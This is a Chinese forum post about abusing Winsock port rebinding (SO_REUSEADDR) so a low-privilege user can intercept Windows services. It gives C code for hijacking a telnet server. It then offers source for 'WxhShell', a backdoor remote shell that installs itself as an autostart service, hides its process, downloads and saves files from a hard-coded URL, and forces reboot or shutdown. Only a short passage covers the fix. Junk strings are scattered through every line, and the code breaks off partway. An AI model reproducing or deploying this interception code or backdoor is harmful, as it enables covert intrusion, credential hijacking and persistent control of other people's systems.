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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: z7GTaX$d  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); { FZ=olZ  
N- H^lqD  
  saddr.sin_family = AF_INET; l 'DsZ9y@2  
@f]{>OS  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); A+J*e  
_BdE< !r  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); kHw_ S-  
r$Co0!.  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `K~AhlJUQ  
2_vbT!_  
  这意味着什么?意味着可以进行如下的攻击: r%:+$aIt  
h\v'9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,to+oSZE  
Tm_B^ W}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) b2b?hA'k  
<Rh6r}f  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 r}[7x]sP  
J:&[ 59  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  26T"XW'_  
] e. JNo  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^uv<6  
mKo C.J  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [ i#zP  
>SPh2[f  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 oF(Lji?m  
;qHOOT  
  #include `W/sP\3  
  #include #Zrlp.M4  
  #include =] *.ZH#h  
  #include    mU}F!J#6  
  DWORD WINAPI ClientThread(LPVOID lpParam);   pvmC$n^zc  
  int main() F1L:,.e`  
  { a:QDBS2Llv  
  WORD wVersionRequested; Uf}\p~;  
  DWORD ret; s(X;Eha  
  WSADATA wsaData; ,^#yo6-  
  BOOL val; KM^ufF2[  
  SOCKADDR_IN saddr; y~()|L[  
  SOCKADDR_IN scaddr; ")=X4]D  
  int err; P#=`2a#G  
  SOCKET s; 8 r_>t2$  
  SOCKET sc; Aq3}Ng  
  int caddsize; 5^^XQ?"  
  HANDLE mt; 8\:NMP8W\  
  DWORD tid;   Kq i4hK  
  wVersionRequested = MAKEWORD( 2, 2 ); AU2i%Q!  
  err = WSAStartup( wVersionRequested, &wsaData ); kbM3  
  if ( err != 0 ) { 5mb]Q)f9-  
  printf("error!WSAStartup failed!\n"); EkziAON  
  return -1; jH_JmYd  
  } BcI |:qv|  
  saddr.sin_family = AF_INET; zOQ>d|p?X  
   B^g ?=|{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 h@a+NE8  
c y8;@[#9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); lRXK\xIP ,  
  saddr.sin_port = htons(23); 8By|@LO  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) eq U ME  
  { h: 9Zt0,  
  printf("error!socket failed!\n"); BCA&mi3q  
  return -1; T#>7ub  
  } o"*AtGR+"  
  val = TRUE; 812$`5l  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 t.;LnrY  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~?(N  
  { rS;Dmm  
  printf("error!setsockopt failed!\n"); 7Hs%Cc"  
  return -1; EY tQw(!Q  
  } f k&8]tK4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1')%`~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 '3g[]M@M  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "s{5O>  
<u2}i<#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) NU0g07"  
  { F]<Xv"  
  ret=GetLastError(); kBffF@{  
  printf("error!bind failed!\n"); j:VbrR  
  return -1; b9l;a+]d  
  } OLE[UXD-E  
  listen(s,2); k?,1x~  
  while(1) jbAx;Xt'=M  
  { OynXkH]0T+  
  caddsize = sizeof(scaddr); <[-nF"Q  
  //接受连接请求 pS:4CNI{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); o,)?!{k}  
  if(sc!=INVALID_SOCKET) <*qnY7c&N;  
  { #?S^kM-0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6ZP"p<xX  
  if(mt==NULL) Q637N|01  
  { t;}:waZD  
  printf("Thread Creat Failed!\n"); `7r@a  
  break; maNl^i  
  } 3eF -8Z(f  
  } sc}~8T  
  CloseHandle(mt); Sn|BlXrey  
  } ~Yy>zUH^X  
  closesocket(s); Eq j_m|@  
  WSACleanup(); <P=twT;P  
  return 0; qHrc9fB  
  }   +8RgF   
  DWORD WINAPI ClientThread(LPVOID lpParam) p"KFJ  
  { T: =lz:}I  
  SOCKET ss = (SOCKET)lpParam; fSokm4]vg  
  SOCKET sc; E S//  
  unsigned char buf[4096]; !*7 vFl  
  SOCKADDR_IN saddr; s*-n^o-  
  long num; TIQkW,  
  DWORD val; I+tb[*X+  
  DWORD ret; NeE t  
  //如果是隐藏端口应用的话,可以在此处加一些判断 q-}Fvel u  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   3v1iy / /  
  saddr.sin_family = AF_INET; bAx-"Lu  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); SMpH._VFeE  
  saddr.sin_port = htons(23); zo4qG+>o  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y!nJg1  
  { 3`t%g[D1  
  printf("error!socket failed!\n"); d?A 0MKnl  
  return -1; +JjW_Rl?=V  
  } n[lJLm^(_C  
  val = 100; ^\4h<M  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {y=j?lD  
  { iO|se:LY<  
  ret = GetLastError(); i OW#>66d  
  return -1; Ab{ K<:l  
  } W04@!_) <  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ahJ`$U4n  
  { n>BkTaI  
  ret = GetLastError(); MkfBu W;)  
  return -1; U:^PC x`  
  } --$ 4Q(#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) old(i:2  
  {  : y%d  
  printf("error!socket connect failed!\n"); g/CSG IIT  
  closesocket(sc); S[PE$tYT#t  
  closesocket(ss); ,-8"R`UI8  
  return -1; DtXrWS/  
  } VY |_d k  
  while(1) t*Sa@$p  
  { I ?gSG*m  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (nf~x  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Z2qW\E^_r  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /5(Yy}  
  num = recv(ss,buf,4096,0); Azl&mu  
  if(num>0) n"G&ENN"$  
  send(sc,buf,num,0); }`% *W`9b  
  else if(num==0) J&W)(Cf  
  break; 3@dL /x4A  
  num = recv(sc,buf,4096,0); c;Pe/d  
  if(num>0) 7z JRJ*NB  
  send(ss,buf,num,0); ^c-  
  else if(num==0) (l^3Z3zf&  
  break; ,,%i;  
  } gQ Fjr_IS#  
  closesocket(ss); 7%Gwc?[x  
  closesocket(sc); Xg|B \ \  
  return 0 ; K1 EynU I  
  } lr>oYS0  
z> Rsi  
f$e[u E r  
========================================================== 7puFz4+f  
ObVGV  
下边附上一个代码,,WXhSHELL CZud& <  
\2N!:%k  
========================================================== 2@'oe7E  
TC!Yb_H}gN  
#include "stdafx.h" Mm.<r-b  
FGigbtj`  
#include <stdio.h> 8i>ZY  
#include <string.h> l?Udn0F  
#include <windows.h> vK|E>nL  
#include <winsock2.h> 3er nTD*`  
#include <winsvc.h> xjfV?B'Y}V  
#include <urlmon.h> +b0eE)  
= RA /  
#pragma comment (lib, "Ws2_32.lib") } ()5"QB  
#pragma comment (lib, "urlmon.lib") @XLy7_}  
` Q|*1  
#define MAX_USER   100 // 最大客户端连接数 (eI5_`'VC  
#define BUF_SOCK   200 // sock buffer JjPKR?[>  
#define KEY_BUFF   255 // 输入 buffer PF)jdcX  
K1mPr^3rC  
#define REBOOT     0   // 重启 *"?l]d  
#define SHUTDOWN   1   // 关机 K28+]qy[  
K2M~-S3  
#define DEF_PORT   5000 // 监听端口 qLn/2  
+T|JK7  
#define REG_LEN     16   // 注册表键长度 [ey:e6,T9  
#define SVC_LEN     80   // NT服务名长度 |'P]GK  
SQBa;hvgM  
// 从dll定义API &]"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ")O%86_Q:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [Y|8\Ph`&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %HGD;_bhI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =XA;[PVx:#  
UW N*j_9i  
// wxhshell配置信息 PDJr<E?  
struct WSCFG { E7t+E)=8  
  int ws_port;         // 监听端口 7!@-*/|!S9  
  char ws_passstr[REG_LEN]; // 口令 h1B? 8pD  
  int ws_autoins;       // 安装标记, 1=yes 0=no .a O,8M  
  char ws_regname[REG_LEN]; // 注册表键名 u$DHVRrF<  
  char ws_svcname[REG_LEN]; // 服务名 Wvbf"hq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kpJ@M%46  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UtPLI al  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !}YAdZJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x2OaPlG,&V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N4^-`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m? eiIrMW  
q$I;dOCJ,  
}; 5b*M*e&=C  
En~5"yW5>]  
// default Wxhshell configuration wW7eT~w  
struct WSCFG wscfg={DEF_PORT, f!\lg  
    "xuhuanlingzhe", `|6'9  
    1, WKC.$[ T=  
    "Wxhshell", /(u}KMR!f  
    "Wxhshell",  f\]sz?KY  
            "WxhShell Service", _,p/l&<  
    "Wrsky Windows CmdShell Service", $+P>~X)  
    "Please Input Your Password: ", ?oVx2LdD|  
  1, S=5<^o^h3  
  "http://www.wrsky.com/wxhshell.exe", %-)H^i~]%  
  "Wxhshell.exe" X &uTSgN  
    };  3,p]/Z_  
+MR.>"  
// 消息定义模块 8$")%_1]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9!6f-K  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j/R[<47  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ja,wfRq  
char *msg_ws_ext="\n\rExit."; s3~lT.  
char *msg_ws_end="\n\rQuit."; &M46&^Jho  
char *msg_ws_boot="\n\rReboot..."; kStnb?nk  
char *msg_ws_poff="\n\rShutdown..."; 5Sm}n H  
char *msg_ws_down="\n\rSave to ";  a][f  
G9Y#kBr  
char *msg_ws_err="\n\rErr!"; .X@FXx&  
char *msg_ws_ok="\n\rOK!";  'C`U"I  
_7H7 dV  
char ExeFile[MAX_PATH]; !k 6K?xt  
int nUser = 0; DnC{YK  
HANDLE handles[MAX_USER]; E)TN,@%  
int OsIsNt; iIMd!Q.)@  
wP6 Fl L  
SERVICE_STATUS       serviceStatus; QN #U)wn:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J3e96t~u  
K~AR*1??[  
// 函数声明 '10oK {m$  
int Install(void); j}%ja_9S  
int Uninstall(void); wb]%m1H`:  
int DownloadFile(char *sURL, SOCKET wsh); cv?06x{  
int Boot(int flag); q1z"-~i )E  
void HideProc(void); w$+&3t  
int GetOsVer(void); tXoWwQD;Y  
int Wxhshell(SOCKET wsl); q;R],7Re  
void TalkWithClient(void *cs); ;|p BFKx  
int CmdShell(SOCKET sock); ,=UK}*e"  
int StartFromService(void); E0Y-7&Fv  
int StartWxhshell(LPSTR lpCmdLine); RTE8Uq36  
WlB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b<a4'M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (pY 7J  
@Fluc,Il  
// 数据结构和表定义  `7 vHt`  
SERVICE_TABLE_ENTRY DispatchTable[] = :Pvzl1  
{ Sx708`/Ep  
{wscfg.ws_svcname, NTServiceMain}, ]Y%Vio  
{NULL, NULL} 9`1O"R/  
}; .LZwuJ^;  
).Fpgxs  
// 自我安装 ySx>L uY#3  
int Install(void) |%J{RA  
{ -7*ET3NSI/  
  char svExeFile[MAX_PATH]; v/](yT  
  HKEY key; [Yo,*,y31  
  strcpy(svExeFile,ExeFile); brW :C? }  
3?c3<`TW  
// 如果是win9x系统,修改注册表设为自启动 5k`l $mW{  
if(!OsIsNt) { %6t2ohO"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )Hpa}FGT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z)! qW?  
  RegCloseKey(key); G!"YpYml  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d*jMZ%@uS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wj,:"ESb4  
  RegCloseKey(key); @CTgT-0!  
  return 0; Yn@lr6s  
    } :K-~fA%kt?  
  }  Q?nN!e T  
} U* i{5/$  
else { ;*Ivn@L  
)CuZDf@  
// 如果是NT以上系统,安装为系统服务 B.dH(um  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .ni_p 6!  
if (schSCManager!=0) 4(|cG7>9-  
{ ba[1wFmcL  
  SC_HANDLE schService = CreateService qHuZcht  
  ( +?:7O=Y  
  schSCManager, z`!XhU  
  wscfg.ws_svcname, nSW=LjrO~<  
  wscfg.ws_svcdisp, UaWl6 Y&Vu  
  SERVICE_ALL_ACCESS, "Q!(52_@J  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~Lm$i6E <  
  SERVICE_AUTO_START, :<hXH^n  
  SERVICE_ERROR_NORMAL, {zn!vJX  
  svExeFile, eM$sv9?  
  NULL, [Jogt#Fj ]  
  NULL, 0 vtt"f)Y[  
  NULL, pm_`>3  
  NULL, ;5zz<;Zy  
  NULL x c/}#>ED  
  ); E7.2T^o;M  
  if (schService!=0) P>s[tM  
  { !ePr5On  
  CloseServiceHandle(schService); XZ sz/#  
  CloseServiceHandle(schSCManager); mVVD!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +3BBQ+x!  
  strcat(svExeFile,wscfg.ws_svcname); 8zRP (+&W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZZHDp&lh}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]L9s%]o  
  RegCloseKey(key); DVSL [p?_  
  return 0; np8gKV D  
    } |C!oxhu<  
  } ^G4 P y<s  
  CloseServiceHandle(schSCManager); .!f$ \1l  
} (-ufBYO6  
} F<qz[,]|-j  
%k;|\%B`  
return 1; (Tn- >).AO  
} do*EKo  
wN;^[F  
// 自我卸载 .}OR  
int Uninstall(void) _a6[{_Pc  
{ ~yH?=:>U  
  HKEY key; swM*k;$q{  
AS =?@2 q  
if(!OsIsNt) { ^>jwh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &3bx `C  
  RegDeleteValue(key,wscfg.ws_regname); jN[`L%Qm   
  RegCloseKey(key); <eQj`HL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \Ta"}TF8  
  RegDeleteValue(key,wscfg.ws_regname); &Xf^Iu  
  RegCloseKey(key); 3BtaH#ZY  
  return 0; )iYxt:(,  
  } /H8g(  
} H."EUcE{  
} d-k%{eBV  
else { {]:7bV#JP  
nEJY5Bz$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wB!Nc Y\p  
if (schSCManager!=0) gj*+\3KO@a  
{ 1JztFix  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Dpl A?  
  if (schService!=0) .P[ _<8  
  { thifRd$4  
  if(DeleteService(schService)!=0) { :_g$.h%%  
  CloseServiceHandle(schService); 4lKq{X5<  
  CloseServiceHandle(schSCManager); ?QFpv #4  
  return 0; wVEm:/;z&  
  } AaWs}M  
  CloseServiceHandle(schService); K i'Fn"  
  } 5@+,Xh,H|t  
  CloseServiceHandle(schSCManager); ,N!o  
} L)@?e?9  
} 0=AVW`J  
j2QmxTa!  
return 1; 3E!|<q$ z  
} 45,1-? -!  
>`A9[`$n  
// 从指定url下载文件 n:yTeZ=-s4  
int DownloadFile(char *sURL, SOCKET wsh) ;c4 gv,q@  
{ *Zt#U#  
  HRESULT hr; uVJDne,R  
char seps[]= "/"; TU:7Df  
char *token; ^eo|P~w g  
char *file; -uMSe~  
char myURL[MAX_PATH]; C|}iCB  
char myFILE[MAX_PATH]; vgfcCcZ_iZ  
D-5VC9{  
strcpy(myURL,sURL); 0w&27wW  
  token=strtok(myURL,seps); ki?S~'a  
  while(token!=NULL) d$ x"/A]<  
  { kXi6lh  
    file=token; B?'#4J  
  token=strtok(NULL,seps); =;2%a(  
  } MP_ ~<Q  
;C3US)j  
GetCurrentDirectory(MAX_PATH,myFILE); VGpWg rmHk  
strcat(myFILE, "\\"); O(D ~_O.  
strcat(myFILE, file); W-?()dX{  
  send(wsh,myFILE,strlen(myFILE),0); E5I"%9X0H  
send(wsh,"...",3,0); 7 "20hAd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -* WXMzr  
  if(hr==S_OK) DAcQz4T`  
return 0; 4 QvsBpz@  
else eU".3`CtY  
return 1; 4KIRHnaj  
'>cKH$nVC}  
} 95A1:A^t  
Xq_5Qv  
// 系统电源模块 YjxF}VI~<  
int Boot(int flag) ^c^#dpn  
{ Fcd3H$Na;  
  HANDLE hToken; ST:A<Da"  
  TOKEN_PRIVILEGES tkp; IC1NKn<k  
 @~!wDDS  
  if(OsIsNt) { 8FKXSqhVM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WvBc#s-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +nXK-g;)'  
    tkp.PrivilegeCount = 1; =&ks)MH-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;<Ar=?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mH%yGBp_  
if(flag==REBOOT) { !F A]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x:),P-~w  
  return 0; m[~V/N3  
} Xejo_SV&?  
else {  >qS9PX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /& Jan:  
  return 0; HCyv]LR  
} ts\5uiB<%  
  } MZSy6v  
  else { \;qW 3~  
if(flag==REBOOT) { i;/5Y'KZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xJ>fm%{5  
  return 0; OB Otuu.  
} p "n$!ilbm  
else { fGUE<l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >O*IQ[r-  
  return 0; CE#gfP  
} F`gi_; c  
} *=]&&<  
^(vs.U^U<  
return 1; Gft%Mq v  
} LhOa{1SY  
9$cWU_q{  
// win9x进程隐藏模块 /67 h&j  
void HideProc(void) g.BdlVB\  
{ q"\Z-D0B4  
7gj4j^a^]{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); AgS 7J(^&3  
  if ( hKernel != NULL ) wQ^EYKD  
  { -:|?h{q?u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #$18*?tLv|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cAY:AtD  
    FreeLibrary(hKernel); _FpTFfB  
  } ad*m%9Y1Q  
W-mQjJ`,B  
return; kW;+|qs^  
} ,K9*%rW)  
WI-&x '  
// 获取操作系统版本 % tS,}ze  
int GetOsVer(void) W42 iu"@  
{ o /j*d3  
  OSVERSIONINFO winfo; )c8rz[i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fmU {  
  GetVersionEx(&winfo); 8(pp2rlR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1S{D6#bE  
  return 1; J]{QB^?  
  else ]^h]t~  
  return 0; T|nDTezr  
} z@!`:'ak  
$"+djI?E9  
// 客户端句柄模块 ULs\+U  
int Wxhshell(SOCKET wsl) ;_c;0)  
{ ]Lf{Jboo  
  SOCKET wsh; e?0l"  
  struct sockaddr_in client; Q6PHpaj  
  DWORD myID; 4!Fo$9  
NjVYLn<.r  
  while(nUser<MAX_USER) FHj" nB  
{ ur)9x^y  
  int nSize=sizeof(client); Of*Pw[vD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z* ^_)Z  
  if(wsh==INVALID_SOCKET) return 1; _Gn2o2T  
 `=4r+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &XIt5<$~R  
if(handles[nUser]==0) o_XflzC  
  closesocket(wsh); uaT!(Y6  
else Q_"]+i]s@  
  nUser++; ck: T,F{}  
  } [%q@]\U$s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dq(uVW^&ae  
a zCf  
  return 0; o} J&E{Tk  
} s^Y"'`+  
$Q&lSVQ  
// 关闭 socket K'L^;z6  
void CloseIt(SOCKET wsh) r+A{JHnN  
{ Vc 1\i  
closesocket(wsh); 00(on28b  
nUser--; cr%"$1sY;  
ExitThread(0); gwLf'  
} YmL06<Mh  
NP0\i1P>.?  
// 客户端请求句柄 T$>WE= Y  
void TalkWithClient(void *cs) 9]k @Q_  
{ 9B{k , 1  
i+A3~w5c  
  SOCKET wsh=(SOCKET)cs; ~-ia+A6GIV  
  char pwd[SVC_LEN]; ]^yFaTfS  
  char cmd[KEY_BUFF]; RSfQNc9Z  
char chr[1]; 2GP=&K/A  
int i,j; PC~Y8,A|.t  
bGN:=Y'  
  while (nUser < MAX_USER) { 6Y^23W F  
nr95YSH  
if(wscfg.ws_passstr) { ,c;Kzp>e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H3z: ZTI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {x|[p_?  
  //ZeroMemory(pwd,KEY_BUFF); 8m-U){r!U^  
      i=0; \HqNAE2T  
  while(i<SVC_LEN) { t)~"4]{*}D  
@@R7p  
  // 设置超时 ,BH@j%Jmy  
  fd_set FdRead; z6U\axO6  
  struct timeval TimeOut; <`.X$r*  
  FD_ZERO(&FdRead); o)h_H;  
  FD_SET(wsh,&FdRead); QX!-B  
  TimeOut.tv_sec=8; m,VOx7%n  
  TimeOut.tv_usec=0; = i$Fl{vH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?qP7Y nl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C_( *>!Z%  
caU0\VS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '9laa=H%8  
  pwd=chr[0]; )B T   
  if(chr[0]==0xd || chr[0]==0xa) { xe]y]  
  pwd=0; B;M?,<%FRU  
  break; bLB:MW\%  
  } vUN22;Z\  
  i++; %P<hW+P!  
    } {>}!+k -`  
aT{_0m$G10  
  // 如果是非法用户,关闭 socket v| gw9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r A`V}>Xj  
} CnU*Jb  
uW=k K0E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o m^0}$V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \MA+f~)9  
^ UciW  
while(1) { C;;Sih5  
c?tBi9'Y]  
  ZeroMemory(cmd,KEY_BUFF); q_Q/3rh  
y0Fb_"}  
      // 自动支持客户端 telnet标准   &:;:"{t}Do  
  j=0; ~FZ&.<s  
  while(j<KEY_BUFF) { h:W;^\J:-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); riUwBiVa?2  
  cmd[j]=chr[0]; v:f}XK<  
  if(chr[0]==0xa || chr[0]==0xd) { jfP*"uUK  
  cmd[j]=0; rxe >}ZO  
  break; Us)Z^s  
  } <->{  
  j++; $ZUdT  
    } 1 8|m)(W  
PxTwPl  
  // 下载文件 v]'ztFA  
  if(strstr(cmd,"http://")) { /'Ass(=6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7TgOK   
  if(DownloadFile(cmd,wsh)) \MsTB|Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Umz KY  
  else <5-[{Q/2z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %<)2/|lCd  
  } -Y1e8H ='  
  else { Z)e/ !~""]  
i/65v  
    switch(cmd[0]) { A^nvp!_  
  t=(!\:[D  
  // 帮助 cpe+XvBuK  
  case '?': { ZXu>,Jy  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?274uAO'  
    break; ]jtK I4  
  } J}*,HT*  
  // 安装 qaqBOHI6G  
  case 'i': { ]S&&|Fc  
    if(Install()) i)o2klIkB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7yG#Z)VE  
    else zbXI%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uX"H4l O~  
    break; bh s5x  
    } :I"2V  
  // 卸载 I.WvLLK2  
  case 'r': { 0m7Y>0wC6T  
    if(Uninstall()) S(o#K|)>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \(3y7D  
    else !lREaSM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gcii9vz `  
    break; 9"@\s$ OBk  
    } q YC;cKv  
  // 显示 wxhshell 所在路径 9 3U_tQ&1?  
  case 'p': { 8|b3j^u  
    char svExeFile[MAX_PATH]; mH54ja2  
    strcpy(svExeFile,"\n\r"); 5 z~1Dw  
      strcat(svExeFile,ExeFile); <m!h&_eg  
        send(wsh,svExeFile,strlen(svExeFile),0); 6~0$Z-);(  
    break; Z_PNI#h*  
    } bADnW4N`6;  
  // 重启 8J*"%C$qe  
  case 'b': { TIx|L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [=x[ w70  
    if(Boot(REBOOT)) Jz?j[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;5wn67'  
    else { q?,).x nN  
    closesocket(wsh); kJWn<5%ayg  
    ExitThread(0); K}2Erm%A@y  
    } (ScxLf=]  
    break; #&cI3i  
    } +y,T4^{  
  // 关机 yID 164&r  
  case 'd': { 1da@3xaF  
